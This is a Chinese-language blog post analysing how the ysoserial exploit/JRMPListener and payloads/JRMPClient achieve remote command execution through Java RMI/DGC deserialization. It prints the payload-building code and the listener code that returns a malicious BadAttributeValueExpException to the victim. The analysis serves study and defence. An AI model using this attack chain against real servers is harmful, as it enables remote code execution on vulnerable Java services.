目錄
0 前言
上一篇文章講了 《java 反序列化 ysoserial exploit/JRMPClient 原理剖析》
https://blog.csdn.net/whatday/article/details/106971531
,本篇接着講一下ysoserial exploit/JRMPListener的原理,相同的思路,我們結合着payloads/JRMPClient來分析。JRMPListener的攻擊流程如下:
1、攻擊方在自己的服務器使用exploit/JRMPListener開啓一個rmi監聽
2、往存在漏洞的服務器發送payloads/JRMPClient,payload中已經設置了攻擊者服務器ip及JRMPListener監聽的端口,漏洞服務器反序列化該payload後,會去連接攻擊者開啓的rmi監聽,在通信過程中,攻擊者服務器會發送一個可執行命令的payload(假如存在漏洞的服務器中有使用org.apacje.commons.collections包,則可以發送CommonsCollections系列的payload),從而達到命令執行的結果。
1 payloads/JRMPClient
1.1 Externalizable
在講payloads/JRMPClient之前,我們先講一下Externalizable,這是java提供的一個接口,實現該接口的類就具備了可序列化功能,下面總結一下它和Serializable接口的一些相同點與不同點:
1、實現Externalizable接口的類必須重寫writeExternal(ObjectOutput out)和readExternal(ObjectInput in)兩個方法,在這兩個方法中可以自定義序列化和反序列化規則,而實現Serializable接口的類沒有需要強制實現的方法。
2、假設類中有些敏感數據,我不希望在網絡上傳輸該對象的序列化數據中包含該敏感數據,兩種接口都可以實現:
(1)Externalizable接口,在實現writeExternal(ObjectOutput out)方法時,不對敏感數據進行序列化就可以
(2)Serializable接口,使用transient關鍵字修飾敏感字段,則該字段將不會被序列化。
對比一下,使用transient關鍵字修飾其實更方便。
3、兩個各有特點,只能是根據不同的業務需求去選擇使用。
下面我寫了一個關於Externalizable的測試類,來進一步理解Externalizable:
public class Person implements Externalizable {
private String username; //用戶名
private String password; //密碼
public String getUsername() {
return username;
}
public void setUsername(String username) {
this.username = username;
}
public String getPassword() {
return password;
}
public void setPassword(String password) {
this.password = password;
}
//在序列化Person對象時,只序列化username屬性
@Override
public void writeExternal(ObjectOutput out) throws IOException {
System.out.println("writeExternal is running ...");
out.writeObject(username);
out.close();
}
//反序列化Person對象時,只反序列化username屬性
@Override
public void readExternal(ObjectInput in) throws IOException, ClassNotFoundException {
this.username = (String)in.readObject();
System.out.println("readExternal is running ...");
}
//測試
public static void main(String[] args) throws Exception {
//如下代碼將person對象設值後進行序列化,序列化後的數據存於字節流中
ByteArrayOutputStream baos = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(baos);
Person person = new Person();
person.setUsername("zs");
person.setPassword("123456");
person.writeExternal(oos);
//如下代碼從字節流中獲取序列化數據並對其進行反序列化
ByteArrayInputStream bais = new ByteArrayInputStream(baos.toByteArray());
ObjectInputStream ois = new ObjectInputStream(bais);
Person person2 = new Person();
person2.readExternal(ois);
System.out.println("username=" + person2.username + " passowrd=" + person2.password);//結果爲username=zs passowrd=null
}
}
1.2 生成payload
以下爲payloads/JRMPClient生成payload的代碼,我添加了註釋,其中通信所需的信息在後面分析中我們會看到其具體的作用。
public Registry getObject ( final String command ) throws Exception {
String host;
int port;
//命令行獲取ip值與端口值
int sep = command.indexOf(':');
if ( sep < 0 ) {
port = new Random().nextInt(65535);
host = command;
}
else {
host = command.substring(0, sep);
port = Integer.valueOf(command.substring(sep + 1));
}
//以下信息都是連接JRMPListener通信所需信息
ObjID id = new ObjID(new Random().nextInt()); // RMI registry
TCPEndpoint te = new TCPEndpoint(host, port);
UnicastRef ref = new UnicastRef(new LiveRef(id, te, false));
RemoteObjectInvocationHandler obj = new RemoteObjectInvocationHandler(ref);
//這就是構造的payload,創建了一個Registry類型的代理對象,handler值爲上面創建的RemoteObjectInvocationHandler
Registry proxy = (Registry) Proxy.newProxyInstance(JRMPClient.class.getClassLoader(), new Class[] {
Registry.class
}, obj);
return proxy;
}
1.3 gadget鏈分析
如下爲作者給出的gadget鏈,可以看到有兩部分,其實就是在DGCClient.registerRefs(Endpoint, List<LiveRef>)方法中,有兩個方法調用,且都對反向連接JRMPListener有作用,後面調試時可以看到。
1、根據上面的gadget鏈,我們就在UnicastRef.readExternal(ObjectInput)方法中設置斷點:
2、跟入LiveRef.read(ObjectInput var0, boolean var1)方法,可以看到通過反序列化獲取到了在生成payload時,創建的TCPEndpoint(包含要建立socket通信的ip地址與端口號)、ObjID對象(對象唯一標識),並使用這兩個對象生成了LiveRef對象(該對象的具體作用沒進行分析)。
3、繼續跟入到DGCClient.registerRefs(Endpoint, List<LiveRef>),這裏就是上面給出的gadget鏈中出現兩個分支的地方:
4、先進入DGCClient$EndpointEntry.lookup(Endpoint)方法:
5、繼續跟入DGCClient$EndpointEntry構造方法,可以看到使用前面創建的TCPEndpoint與DgcID創建了LiveRef對象,並且生成了DGCImpl_Stub代理對象,到了這裏就明白了, 其實payloads/JRMPClient也是通過DGC通信,進而反序列化惡意payload的 。最後一行代碼就是創建與JRMPListener的Socket通信,由單獨的線程負責:
6、DGCClient$EndpointEntry.lookup(Endpoint)分支分析完了,然後進入DGCClient$EndpointEntry.registerRefs(List<LiveRef>)分支如下,代碼較長,而且不重要,這裏就不貼了,直接到最後一行:
7、進入DGCClient$EndpointEntry.makeDirtyCall(Set<RefEntry>, long)方法,還是直接到如下斷點位置:
8、由於下一步調用的是DGCImpl_Stub.dirty(ObjID[], long, Lease)方法,前面我們也遇到過,DGCImpl_Stub類是無法調試的,於是直接查看源碼,終於看到了熟悉的一幕,前面已經詳細分析過了,這裏就總結一下,第一個紅框是交換一些信息,說明本次是遠程調用,第二紅框依然是發送一些數據,第三個框是處理響應數據。
9、到了這裏後面的流程也很熟悉了,及時不調試,也能猜測到JRMPListener響應的惡意payload只能在下面兩個地方觸發:
(1)當響應的payload爲異常類時,在UnicastRef.invoke(java.rmi.server.RemoteCall)方法中的StreamRemoteCall.executeCall()方法中觸發的,如下,應該還記得,case1是正常,直接return,case2是發生異常時,這裏會將異常對象反序列化:
(2)當響應的類爲正常類時,則就在第八步圖中的第四個紅框中進行反序列化。
這裏後面通過調試,發現是第一種情況,也就是JRMPListener響應回來的是一個異常類,就不貼圖了,後面就分析一下exploit/JRMPListener
2 exploit/JRMPListener
由於這裏代碼量較多,因此就不一行一行寫註釋了,而且大部分都是通信中交換數據的,之前也分析過,這裏就略過通信過程,直接挑一部分重點代碼進行分析:
private void doCall(DataInputStream in, DataOutputStream out, Object payload) throws Exception {
ObjectInputStream ois = new ObjectInputStream(in) {
ObjID read;
try {
//這裏讀取到的是JRMPClient端發送的DgcID
read = ObjID.read(ois);
} catch (java.io.IOException e) {
throw new MarshalException("unable to read objID", e);
}
//這裏如果判斷是否爲Dgc調用,DgcID爲[0:0:0, 2]
if (read.hashCode() == 2) {
ois.readInt(); // method
ois.readLong(); // hash
System.err.println("Is DGC call for " + Arrays.toString((ObjID[]) ois.readObject()));
}
System.err.println("Sending return with payload for obj " + read);
//這裏發送81,也是爲了防止JRMPClient拋出transport return code invalid異常
out.writeByte(TransportConstants.Return);// transport op
ObjectOutputStream oos = new JRMPClient.MarshalOutputStream(out, this.classpathUrl);
//這裏發送2,就會進入分析JRMPClient時的第九步中第一種情況的case2中
oos.writeByte(TransportConstants.ExceptionalReturn);
new UID().write(oos);
//這裏生成了一個異常類,其中包含一個Object類型的屬性,名爲val
BadAttributeValueExpException ex = new BadAttributeValueExpException(null);
//這裏將惡意payload賦值給了val屬性,在反序列化BadAttributeValueExpException類時,val值也會被反序列化,從而觸發命令執行
Reflections.setFieldValue(ex, "val", payload);
//將payload發往JRMPClient端,payload會被反序列化
oos.writeObject(ex);
oos.flush();
out.flush();
this.hadConnection = true;
synchronized (this.waitLock) {
this.waitLock.notifyAll();
}
}
如上代碼註釋寫的很清楚了,這裏也明白了在分析payloads/JRMPClient時的第九步中爲什麼會進入case2。
3 總結
1、如果RMIClient請求RMIServer時的ip地址和端口號是攻擊者可控的,則都可以使用exploit/JRMPListener進行攻擊(其是通過dgc通信進行攻擊),例如RMIClient執行如下代碼連接到JRMPListener,即可遭受攻擊:
Registry registry = LocateRegistry.getRegistry("127.0.0.1", 9999);
Object obj = registry.lookup("xxx");
2、在一些特殊情況下,可以結合payloads/JRMPClient進行攻擊。